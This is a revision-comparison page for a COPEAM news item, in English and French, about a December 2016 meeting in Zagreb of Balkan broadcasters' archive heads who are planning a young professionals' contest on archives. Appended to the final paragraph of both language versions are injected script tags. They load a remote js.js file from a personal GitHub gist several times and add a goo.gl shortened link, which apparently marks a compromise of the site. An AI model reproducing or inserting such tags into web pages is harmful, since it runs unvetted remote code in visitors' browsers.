Mise en place d’un concours régional sur les archives audiovisuelles
The audiovisual archives’ executives from the Balkans broadcasters associated to COPEAM met in Zagreb last 1st and 2nd December, upon kind invitation of the Croatian public TV HRT.
The objective of the meeting was to determine the terms of a contest open to the young professionals of the Region, who will be invited to produce audiovisual works around the main topic of Cultural Heritage. Through the creative use of the archives belonging to the broadcasters involved in the initiative, the participants to the contest will offer us a tale made of stories that give value to the collective memory, while promoting mutual understanding between cultures and societies of the area.
Building up on the reflections made during the meeting, which was attended by Margherita Scanavino as President of the Audiovisual Heritage Commission, and the representatives of the public organizations of Albania, Croatia, Kosovo, Serbia, Slovenia and Serbia Vojvodina, COPEAM will launch the Prize “Making a story from archives” in early 2017. The winning production will be announced in Beirut, on the occasion of next Conference of the Association.
Changes:
| December 21, 2016 @ 15:03:10 | Current Revision |
|---|
| Title |
|---|
| Setting up of a regional contest on audiovisual archives | | Mise en place d’un concours régional sur les archives audiovisuelles |
| Content |
|---|
| | | <p style="text-align: justify;"><em>Zagreb, 1 - 2 décembre 2016</em></p> |
| <p style="text-align: justify;">The audiovisual archives’ executives from the Balkans broadcasters associated to COPEAM met in Zagreb last 1<sup>st</sup> and 2<sup>nd</sup> December, upon kind invitation of the Croatian public TV HRT.</p> | | <p style="text-align: justify;">Les responsables des archives audiovisuelles des radiotélévisions des Balkans associées à la COPEAM se sont rencontrés à Zagreb les 1 et 2 décembre derniers, à l’aimable invitation de la HRT.</p> |
| <p style="text-align: justify;">The objective of the meeting was to determine the terms of a contest open to the young professionals of the Region, who will be invited to produce audiovisual works around the main topic of Cultural Heritage. Through the creative use of the archives belonging to the broadcasters involved in the initiative, the participants to the contest will offer us a tale made of stories that give value to the collective memory, while promoting mutual understanding between cultures and societies of the area.</p> | | <p style="text-align: justify;">L’objectif de la réunion était de fixer les termes d’un concours ouvert aux jeunes professionnels de la Région, qui seront invités à produire des œuvres audiovisuelles autour de la vaste thématique du Patrimoine Culturel. A travers l’utilisation créative des archives des diffuseurs impliqués dans l’initiative, les participants au concours nous offriront un récit fait d’histoires qui mettent en valeur la mémoire collective de la région, tout en promouvant la connaissance mutuelle entre les sociétés et les cultures de ces territoires.</p> |
<p style="text-align: justify;">Building up on the reflections made during the meeting, which was attended by Margherita Scanavino as President of the Audiovisual Heritage Commission, and the representatives of the public organizations of Albania, Croatia, Kosovo, Serbia, Slovenia and Serbia Vojvodina, COPEAM will launch the Prize <em>“Making a story from archives”</em> in early 2017. The winning production will be announced in Beirut, on the occasion of next Conference of the Association.</p> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script>
| | <p style="text-align: justify;">En donnant suite aux réflexions avancées lors de la rencontre, à laquelle ont participé Margherita Scanavino en tant que Présidente de la Commission Patrimoine Audiovisuel et les représentants des Organismes publics d’Albanie, Croatie, Kosovo, Serbie, Slovénie et Serbie Vojvodine, la COPEAM lancera le Prix <em>« Construire une histoire en archives »</em> au début de l’année 2017. La production gagnante sera annoncée à Beyrouth, lors de la prochaine Conférence de l’Association.</p> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script>
|
Note: Spaces may be added to comparison text to allow better line wrapping.
